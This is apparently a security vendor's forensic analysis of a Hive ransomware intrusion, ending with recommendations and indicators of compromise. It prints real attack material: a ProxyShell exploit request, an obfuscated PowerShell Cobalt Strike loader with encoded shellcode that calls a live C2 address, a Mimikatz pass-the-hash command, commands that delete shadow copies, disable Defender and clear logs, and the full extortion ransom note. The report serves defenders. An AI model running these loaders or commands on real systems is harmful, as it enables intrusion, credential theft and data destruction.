




Hive Ransomware Analysis

Last updated April 19, 2022


During a recent engagement with a customer, the Varonis Forensics Team investigated a ransomware incident. Multiple devices and file servers were compromised and encrypted by a malicious threat group known as Hive.

First observed in June 2021, Hive is an affiliate-based ransomware variant used by cybercriminals to conduct ransomware attacks against healthcare facilities, nonprofits, retailers, energy providers, and other sectors worldwide. Hive is built for distribution in a [Ransomware-as-a-service](#) model that enables affiliates to utilize it as desired.



The variant uses common ransomware tactics, techniques, and procedures (TTPs) to compromise victims' devices. While taking live actions, the operator disables anti-malware protections and then exfiltrates sensitive data and encrypts business files. Their affiliates use multiple mechanisms to compromise their victims' networks, including phishing emails with malicious attachments, leaked VPN credentials, and by exploiting vulnerabilities on external-facing assets. In addition, Hive places a plain-text ransom note that threatens to publish the

victim's data on the TOR website 'HiveLeaks' unless the victim meets the attacker's conditions.



Observation of the attack

The Forensics team observed that the actor managed to achieve its malicious goals and encrypt the environment in less than 72 hours from the initial compromise.

Stage 1: ProxyShell and WebShell

First, the attacker exploited multiple Exchange security vulnerabilities, referred to as ProxyShell. Next, the attack placed a malicious backdoor script, referred to as webshell, in a publicly accessible directory on the Exchange server. These web scripts could then execute malicious PowerShell code over the compromised server with SYSTEM privileges.

Stage 2: Cobalt Strike

The malicious PowerShell code downloaded additional stagers from a remote C2 (Command & Control) server associated with the Cobalt Strike framework. The stagers were not written to the file system but executed in memory.

Stage 3: Mimikatz and Pass-The-Hash

Leveraging the SYSTEM permissions, the threat actor created a new system administrator user named "user" and advanced to the credential dumping stage, invoking [Mimikatz](#). By stealing the domain Administrator NTLM hash and without needing to crack the password, the operator managed to reuse it via Pass-The-Hash attack and take control of the domain admin account.

Stage 4: Scanning for sensitive information

Next, the threat actor performed extensive discovery activities across the network. In addition to searching for files containing "password" in their names, observed activities included dropping network scanners and collecting the networks' IP addresses and device names, followed by RDPs to the backup servers and other critical assets.

Stage 5: Ransomware deployment

Finally, a custom-crafted malware payload named Windows.exe was delivered and executed on various devices, leading to wide encryption and denial of access to files within the organization.

The payload created a plain text ransomware demand note during the encryption phase.

Initial Access

The initial indicator of compromise was the successful exploitation of Microsoft Exchange via vulnerabilities known as ProxyShell.

Revealed in August 2021, ProxyShell is a Remote Code Execution (RCE) vulnerability. ProxyShell involves a set of three separate security flaws and allows remote attackers to execute arbitrary code on affected installations of Microsoft Exchange Server.

CVE-2021-34473 (Base Score: 9.8)

Microsoft Exchange Server Remote Code Execution Vulnerability.

CVE-2021-34523 (Base Score: 9.8)

Microsoft Exchange Server Elevation of Privilege Vulnerability

CVE-2021-31207 (Base Score: 7.2)

Microsoft Exchange Server Security Feature Bypass Vulnerability

Microsoft released patches for those three vulnerabilities in April and May 2021 as part of their "Patch Tuesday" releases. CVE-2021-34473 and CVE-2021-34523 were patched (KB5001779) in April 2021. CVE-2021-31207 was patched (KB5003435) in May.

During the investigation, we found specific exploitation evidence of these CVEs (Common Vulnerabilities and Exposures), which allowed the adversary to deploy webshells successfully on the compromised server.

```
<REDACTED> POST /autodiscover/autodiscover.json @kpbjm.cll/Powershell?X-Rps-CAT=
VgEAVAdXaw5kb3dzQwBBCetlcmJlcm92TBpBZGlpbmlzdH<REDACTED>sbWFub15hdFUrUy0kLTUUMjEUMTE5NTU5Mjg5LTUyOTc4ODc2OTItMzE0NjAxMzYyLTUwMEcBAAAABWAAAAXLTETcNS0zM10INDRFAAAAA--&
Email=autodiscover/autodiscover.json%3F@kpbjm.cll&CorrelationID=<empty>;&cafeReqId=b9b9a66c-a78c-4adb-b2a7-caa74235f89b;
443 - <REDACTED> Python+PSRP+Client - 200 0 0 13
```

Based on our analysis, four different IP addresses accessed the malicious files:

139.60.161.228 (USA)

ASN: HOSTKEY

RELATED ACTIVITY: Cobalt Strike C2 and Log4j vulnerability scanning

139.60.161.56 (USA)

ASN: HOSTKEY

RELATED ACTIVITY: Cobalt Strike C2 and Log4j vulnerability scanning

185.70.184.8 (Netherlands)

ASN: HOSTKEY

RELATED ACTIVITY: Cobalt Strike C2 and Log4j vulnerability scanning. Associated with Emotet, IcedID, and QBot.


91.208.52.149 (Netherlands)

ASN: SERVERIUS-A

The following malicious files were spotted:

```
<REDACTED> GET /aspnet_client/arpmbtyhgckwvz.aspx 443 - 172.<REDACTED> python-requests/2.22.0 - 200 0 0 1761
<REDACTED> GET /aspnet_client/dfkqvjxcammnxu.aspx 443 - 172.<REDACTED> Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(KHTML,+like+Gecko)+Chrome/88.0.4324.190+Safari/537.36 - 200 0 0 289
<REDACTED> GET /aspnet_client/emdfwzoklniohml.aspx 443 - 172.<REDACTED> python-requests/2.22.0 - 200 0 0 85
<REDACTED> GET /aspnet_client/sxvikpcoosiajmqj.aspx 443 - 172.<REDACTED> Mozilla/5.0+(Windows+NT+6.3;+Win64;+x64;+rv:97.0)+Gecko/20100101+Firefox/97.0 - 200 0 0 503
```

These file names are made of random characters that do not appear to have any significance. Attackers commonly use this technique to prevent third parties from finding the webshells online by sending HTTP requests to a list of preconstructed names that are part of other campaigns.




```

function func_get_proc_address {
    Param ($var_module, $var_procedure)
    $var_unsafe_native_methods =
    ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {
    $_.GlobalAssemblyCache -And $_.Location.Split('\')[-
    1].Equals('System.dll')
    }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $var_gpa =
    $var_unsafe_native_methods.GetMethod('GetProcAddress',
    [Type[]] @( 'System.Runtime.InteropServices.HandleRef',
    'string'))
    return $var_gpa.Invoke($null,
    @([System.Runtime.InteropServices.HandleRef] (New-Object
    System.Runtime.InteropServices.HandleRef((New-Object IntPtr),
    ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invo
    ke($null, @($var_module)))), $var_procedure))
}

```

```

function func_get_delegate_type {
    Param (
        [Parameter(Position = 0, Mandatory = $True)]
    [Type[]] $var_parameters,
        [Parameter(Position = 1)] [Type] $var_return_type
    = [Void]
    )
}

```

```

    $var_type_builder =
    [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object
    System.Reflection.AssemblyName('ReflectedDelegate')),
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDyn
    amicModule('InMemoryModule',
    $false).DefineType('MyDelegateType', 'Class, Public, Sealed,
    AnsiClass, AutoClass', [System.MulticastDelegate])
    $var_type_builder.DefineConstructor('RTSpecialName,
    HideBySig, Public',
    [System.Reflection.CallingConventions]::Standard,
    $var_parameters).SetImplementationFlags('Runtime, Managed')
    $var_type_builder.DefineMethod('Invoke', 'Public,
    HideBySig, NewSlot, Virtual', $var_return_type,
    $var_parameters).SetImplementationFlags('Runtime, Managed')

    return $var_type_builder.CreateType()
}

```

```

[Byte[]] $var_code =
[System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqH
E3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNz
qGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC
9oqHs/IvCoJ6gi86pnBwd4eEJ6eXlcw3t8eagxyKV+S01GVyNLVEpNSndLb1QF
JNz2yyMjIyMS3HR0dHR0Sx11WoTc9sqHIyMjeBLqcnJJIHJyS5giIyNwc0t0qr

```

```
z13PZzyq8jIyN4EvFxFsYMR46dxcXFwcXNLYHYNGNz2quWg4HNLoxAjI6rDSSdz
STx1S1Z1vaXc9nws3HR0SdxwdUsOJtTtY3Pam4yyn6SIjIxLcptVXJ6rayCpLie
bBftz2quJLZgJ9Etz2EtX0SSRydXNLLHTDKNz2nCMMIyMa5FYke3PKWNzc3BLc
yrIiIyPK6iIjI8tM3NzcDBpbdHcjt/oD/JWHd4sCLmyO98yFY4rSkNpnTutksF
jPkliId3VatKblqXZnUlBHxy9uREcX2FYx1tCT2QCAktdtYyitbmqWDvjVGRB9
bSN2UEZRDMJERk1XGQNuTF1KT09CDBcNEwMLQExOU0JXSkFPRhgDbnBqZgMaDR
MYA3RKTUdMVFADbXcDFQ0SGAN3UUPHRk1XDBYNEwouKSPHnhsch1J2ehVV9xiG
IbRbaqS5cqjAmVwq68rbHTbqKwvVPYdIwQX2sCpP4Huf69SBXmMT5Uf78YpcuI
NAFmaQSn2ghpZ2G7UnqTkvRtIxy6TiOP3eK6FQ111lgA3N8VNacREpVDLUIaZ6/
oaEPfm0Y1N8JZlYs9JSvydexNohj88pn9o2SyWlVIxY8cJLweQz1ZdO2JIzPEn
VW4x52BGHMgFqryhE8N1PEyFVnFL/7oUr8aGQvMsusR84zVxpx5+C6a+SP9iBh
lQcdopF5Zu0hJsRfacn4nFrojL1nt+/oBQcjs9OWgXXc9kljSyMzIyNLIyNjI3
RLe4dwxtz2sJoIyMjIvpycKrEdEsjAyMjchVLMbWqwdz2puNX5agkIuCm41bG
e+DLqt7c3BIQGg0VEw0SFRINEREBIzpzKg64=' )
```

```
for ($x = 0; $x -lt $var_code.Count; $x++) {
    $var_code[$x] = $var_code[$x] -bxor 35
}
```

Write-Output \$var_code

The additional "for loop" function adds another layer of obfuscation and XORs the Base64 code with a key of 35. We successfully extracted the IP address of the target C2 by mimicking the process, which, unsurprisingly, turned out to be the same address we found previously.

```
68\X/5\X46\X9e\X86\XtF\Xd5\X5t\X31\XtF\X5/\X5/\X6a\XtF\X53\X56\X68\X2d\X06\X18\X/d\XtF\X5\X85\Xc0\X0F\X84\Xca\X01\X00\X00\X31\XtF\X85\XtF6\X/4\X04
\X89\Xf9\Xeb\X09\X68\Xaa\Xc5\Xe2\X5d\Xff\Xd5\X89\Xc1\X68\X45\X21\X5e\X31\Xff\Xd5\X31\Xff\X57\X6a\X07\X51\X56\X50\X68\Xb7\X57\Xe0\X0b\Xff\Xd5\Xbf\X
00\X2f\X00\X00\X39\Xc7\X75\X07\X58\X50\Xe9\X7b\Xff\Xff\Xff\X31\Xff\Xe9\X91\X01\X00\X00\Xe9\Xc9\X01\X00\X00\Xe8\X6f\Xff\Xff\Xff\X2f\X39\X78\X57\X54
\X00\X94\Xd9\X20\Xdf\Xb6\Xa4\X54\Xa8\X21\X0d\X4f\Xad\Xd4\Xef\Xa6\X40\Xa9\Xf1\Xb3\Xf9\X44\X6d\Xc8\X47\X93\X7b\Xec\Xb0\X7b\Xab\X54\X56\X79\X97\X85\X
d6\X8a\X55\X44\X71\X73\X64\Xe4\X0c\X4d\X67\X63\Xb4\Xfb\X75\X12\Xf5\Xf3\Xb0\Xfa\X23\Xa3\Xb1\Xf4\X4e\X40\X0b\X8e\X4d\X49\Xb5\X2d\Xdb\Xf6\X3a\X33\X5e
\X4e\X00\X55\X73\X65\X72\X2d\X41\X67\X65\X6e\X74\X3a\X20\X4d\X6f\X7a\X69\X6c\X6c\X61\X2f\X34\X2e\X30\X20\X28\X63\X6f\X6d\X70\X61\X74\X69\X62\X6c\X
65\X3b\X20\X4d\X53\X49\X45\X20\X39\X2e\X30\X3b\X20\X57\X69\X6e\X64\X6f\X77\X73\X20\X4e\X54\X20\X36\X2e\X31\X3b\X20\X54\X72\X69\X64\X65\X6e\X74\X2f
\X35\X2e\X30\X29\X0d\X0a\X00\Xe4\Xbd\X38\X3f\X3c\X71\X55\X59\X36\X76\Xd4\X3b\Xa5\X02\X97\X78\X49\X87\X9a\X51\X8b\Xe3\Xba\X7f\X09\Xc8\Xe9\Xf8\X3e\X
15\Xc9\X08\X28\Xf6\X1e\Xa4\X6b\Xe2\X26\Xd5\X93\X09\X6c\Xc3\X58\Xbc\Xc8\Xf7\Xa2\X7d\X40\X30\Xc6\X64\Xd8\Xd2\Xa9\X7f\X9b\Xa0\X63\X37\Xe5\Xb3\X69\X5e
\X83\Xa5\Xb5\X55\X38\X96\X04\X8a\X1a\X0c\X65\Xf1\X12\Xe8\X87\Xc1\X1b\Xde\Xfd\X08\X82\X73\Xf5\X7a\X43\X20\X50\X5f\X77\Xf5\Xbf\X67\X69\X4c\X2f\X96\X
2b\X4a\Xbd\X9c\X82\X82\X2c\X5d\X4e\X3b\Xb7\Xfc\X2a\X45\X7f\X8f\Xd7\Xb7\X8c\Xea\Xf4\X92\X15\Xab\X40\Xd0\Xe9\X44\Xd5\Xae\Xb1\Xea\X4a\X76\X00\X35\X1f
\X53\Xb1\Xd3\X5a\X2f\Xd6\X46\Xf0\X95\X07\Xaf\Xec\X31\X56\X75\X0c\X3d\X55\X27\X42\Xef\Xa3\X79\X88\Xe9\X32\X1f\X14\X70\Xe7\Xea\Xd6\X44\X37\X9c\Xd8\X
82\X69\Xdf\X4b\X47\X0c\X11\Xe8\X8f\X64\Xed\X10\X74\X39\X52\Xc4\Xc3\X99\X48\Xc7\Xac\Xd5\X03\X42\Xb6\X24\X3e\X81\Xb2\X5a\X45\Xce\X02\X05\Xe7\X7c\X4a
\Xea\Xdb\Xbf\X79\Xcb\Xaf\X9e\X44\X94\Xcc\Xcb\X26\X24\X00\X68\Xf0\Xb5\Xa2\X56\Xff\Xd5\X6a\X40\X68\X00\X10\X00\X00\X68\X00\X00\X40\X00\X57\X68\X58\X
a4\X53\Xe5\Xff\Xd5\X93\Xb9\X00\X00\X00\X00\X01\Xd9\X51\X53\X89\Xe7\X57\X68\X00\X20\X00\X00\X53\X56\X68\X12\X96\X89\Xe2\Xff\Xd5\X85\Xc0\X74\Xc6\X8b
\X07\X01\Xc3\X85\Xc0\X75\Xe5\X58\Xc3\Xe8\X89\Xfd\Xff\Xff\X31\X33\X39\X2e\X36\X30\X2e\X31\X36\X31\X2e\X32\X32\X38\X00\X19\X69\Xa0\X8d
```

Converting the Base64 into a hexadecimal string and reformatting with a Python script restored the malicious file. VirusTotal analysis shows 23 out of 52 antivirus detections and attributes the file to the Cobalt Strike framework.

23 / 52

23 security vendors and no sandboxes flagged this file as malicious

79a733d5da65567502da0c33026c19a6a11217d3d2a51f8dfd80efb64a4e8f45
sc.exe
6.50 KB Size
EXE

Community Score

DETECTION	DETAILS	COMMUNITY
Acronis (Static ML)	Suspicious	Ad-Aware Gen:Variant.Razy.656194
ALYac	Gen:Variant.Razy.656194	Arcabit Trojan.Razy.DA0342
Avast	Win32:Evo-gen [Susp]	AVG Win32:Evo-gen [Susp]
Avira (no cloud)	HEUR/AGEN.1217042	BitDefenderTheta AI:Packer.FA688B301F
CrowdStrike Falcon	Win/malicious_confidence_70% (D)	Cybereason Malicious.cc3953

Persistence

With the provided NT AUTHORITY\SYSTEM privileges and to maintain persistence over the compromised server, a newly crafted account followed by the name "user" was created and added to "Remote Desktop Users" and "Administrators" groups. The user was used to access multiple paths seeking "password" related files, RDP access to backup servers, and more.

Credential Access

The threat actor used Mimikatz, a post-exploitation tool, specifically its SekurLSA's "logonPasswords" module, which extracts the passwords and NTLM hashes of the accounts logged into the system and saves the results to a text file on the local system. With the administrator's NTLM hash in hand, the threat actor used the pass-the-hash technique to get highly privileged access to other assets in the network by launching a new command prompt on the affected system:


```
mimikatz # sekurlsa::pth /user:Administrator /domain:<REDACTED> /ntlm:<REDACTED> /run:cmd
user      : Administrator
domain   : <REDACTED>
program  : cmd
impers.  : no
NTLM     : <REDACTED>|
| PID 7132
| TID 10320
| LSA Process is now R/W
| LUID 6 ; 2617170828 (00000006:9bfedb8c)
\_ msv1_0 - data copy @ 000001558FB9EA80 : OK !
\_ kerberos - data copy @ 000001558BE24668
  \_ aes256_hmac -> null
  \_ aes128_hmac -> null
  \_ rc4_hmac_nt OK
  \_ rc4_hmac_old OK
  \_ rc4_md4 OK
  \_ rc4_hmac_nt_exp OK
  \_ rc4_hmac_old_exp OK
  \_ *Password replace @ 000001558EC9F5B8 (32) -> null
```

Lateral Movement

Leveraging the stolen domain admin account, the actor performed RDP access requests using mstsc.exe following the parameter "/v" to multiple devices on the network, mainly searching for servers associated with the network backups and SQL servers. We strongly believe that these actions were performed to confirm the ability to access the critical servers before the ransomware deployment.

Discovery

A known public network scanner tool named "SoftPerfect" was used to perform scans over the domain assets.



By utilizing the tool, the threat actor acquired the domain devices list and saved the results to a text file named "domains.txt." To locate all live hosts, the attacker executed a Batch script called "p.bat," which looped over the domains list sending pings and saved the results to a text file named "res.txt."

```
p.bat
1 for /f %%i in (domains.txt) do ping %%i -n 1 >> res.txt
```

```
res.bat
1 Pinging <REDACTED> [172.<REDACTED>] with 32 bytes of data:
2 Reply from 172.<REDACTED>: bytes=32 time=31ms TTL=62
3
4 Ping statistics for 172.<REDACTED>:
5     Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
6 Approximate round trip times in milli-seconds:
7     Minimum = 31ms, Maximum = 31ms, Average = 31ms
8
9 Pinging <REDACTED> [172.<REDACTED>] with 32 bytes of data:
10 Reply from 172.<REDACTED>: bytes=32 time=35ms TTL=62
11
12 Ping statistics for 172.<REDACTED>:
13     Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
14 Approximate round trip times in milli-seconds:
15     Minimum = 35ms, Maximum = 35ms, Average = 35ms
16
17 Pinging <REDACTED> [172.<REDACTED>] with 32 bytes of data:
18 Reply from 172.<REDACTED>: bytes=32 time=171ms TTL=62
19
```

The p.bat script and file naming convention match part of Conti's ransomware toolkit, which was provided to the group's affiliates and first leaked on August 21, 2022 and [published on Twitter](#). This indicates that Hive affiliates are adopting other ransomware group techniques.

Impact

The threat actors began their final actions by distributing a file named "windows.exe," which was the ransomware payload written in Golang. The payload performs multiple operations, including deleting shadow copies, disabling security products, clearing Windows event logs, and closing handles on files to guarantee a smooth encryption process. Below is a brief documentation of the executed commands:

Command	Description
vssadmin.exe delete shadows /all /quiet	Deleting the shadow copies from the machine to inhibit system recovery
net.exe stop "SamSs" /y	Stops the Security Accounts Manager to prevent sending alerts to SIEM system
reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f	Disables Windows Defender to avoid detection
wevtutil.exe cl security	Clearing the Windows Security Event Logs

The ransomware iterates through all the available folders encrypting the included files and drops a ransom note named "_HOW_TO_DECRYPT.txt" in each folder. Once it has finished encryption, it pops the ransom note to inform the user of the attack.

Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose.

To decrypt all the data and to prevent exfiltrated files to be disclosed at

<http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/>

you will need to purchase our decryption software.

Please contact our sales department at:

<http://hivecust6vhekszbtbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/>

Login:

Password:

To get an access to .onion websites download and install Tor Browser at:

<https://www.torproject.org/> (Tor Browser is not related to us)

Follow the guidelines below to avoid losing your data:

- Do not modify, rename or delete *.key. files. Your data will be undecryptable.

- Do not modify or rename encrypted files. You will lose them.

- Do not report to the Police, FBI, etc. They don't care about your business.

They simply won't allow you to pay. As a result you will lose everything.

- Do not hire a recovery company. They can't decrypt without the key.

They also don't care about your business. They believe that they are

good negotiators, but it is not. They usually fail. So speak for yourself.

- Do not reject to purchase. Exfiltrated files will be publicly disclosed.

Conclusions

Ransomware attacks have grown significantly over the past years and remain the preferred method of threat actors aiming to maximize profits. The impact of an attack can be detrimental. It may potentially harm an organization's reputation, disrupt regular operations and lead to temporary, and possibly permanent, loss of sensitive data.

Although detecting and responding to such incidents can be challenging, most malicious activities can be prevented by having the right security tools, incident response plans, and patches for known vulnerabilities in place.

Recommendations

Varonis Forensics Team recommends the following:

- [Patch](#) Exchange server to the latest Exchange Cumulative Update (CU) and Security Update (SU) provided by Microsoft.
- Enforce the use of complex passwords and require users to change passwords periodically.
- Use the [Microsoft LAPS](#) solution to revoke local admin permissions from domain accounts (the principle of least privilege) and regularly check for and remove inactive user accounts.
- [Block SMBv1](#) usage and use SMB signing to protect against pass-the-hash attack.
- Restrict access to the minimum required for the employee's role.
- Detect and automatically prevent access control changes that violate your business rules.
- Train employees in security principles and make sure employees receive security awareness training as a part of your cyber security plans.
- Establish basic security practices, and set rules of behavior describing how to handle and protect the organization and customer information and other vital data.

MITRE Breakdown

1. Initial Access

- Exploit Public-Facing Application ([T1190](#))
 - [CVE-2021-34473](#)
 - [CVE-2021-34523](#)
 - [CVE-2021-31207](#)

2. Execution

- User Execution ([T1204](#))
 - Malicious File ([T1204.002](#))
- Command and Scripting Interpreter ([T1059](#))
 - PowerShell ([T1059.001](#))

3. Persistence

- Create Account (T1136)
 - Domain Account (T1136.002)
- Valid Accounts (T1078)
 - Domain Accounts (T1078.002)

4. Privilege Escalation

- Valid Accounts (T1078)
- Domain Accounts (T1078.002)

5. Defense Evasion

- Deobfuscate/Decode Files or Information (T1140)
- Indicator Removal on Host (T1070)
 - Clear Windows Event Logs (T1070.001)

6. Credential Access

- OS Credential Dumping (T1003)
 - Cached Domain Credentials (T1003.005)

7. Discovery

- Remote System Discovery (T1018)

8. Lateral Movement

- Remote Services (T1021)
 - Remote Desktop Protocol (T1021.001)

9. Command and Control

- Application Layer Protocol (T1071)
 - Web Protocols (T1071.001)

10. Impact

- Data Encrypted for Impact (T1486)

IOC's

User accounts names created

- "user"

Malicious IP's

- 139.60.161.228
- 139.60.161.56
- 91.208.52.149
- 185.70.184.8

Name	MD5	SHA1
Windows.exe		
Mimikatz.exe	6c9ad4e67032301a61a9897377d9cff8	655979d56e874fbe7561bb1b6e512316c25cbb19
advanced_port_scanner_2.5.3869.exe	6a58b52b184715583cda792b56a0a1ed	3477a173e2c1005a81d042802ab0f22cc12a4d55
advanced port scanner.exe	4fdabe571b66ceec3448939bfb3ffcd1	763499b37aacd317e7d2f512872f9ed719aacae1
scan.exe	bb7c575e798ff5243b5014777253635d	2146f04728fe93c393a74331b76799ea8fe0269f
p.bat	5e1575c221f8826ce55ac2696cf1cf0b	ecf794599c5a813f31f0468aec5662c5029b5c4
Webshell #1	d46104947d8478030e8bcfc74f2aef7	d1ef9f484f10d12345c41d6b9fca8ee0efa29b60
Webshell #2	2401f681b4722965f82a3d8199a134ed	2aee699780f06857bb0fb9c0f73e33d1ac87a385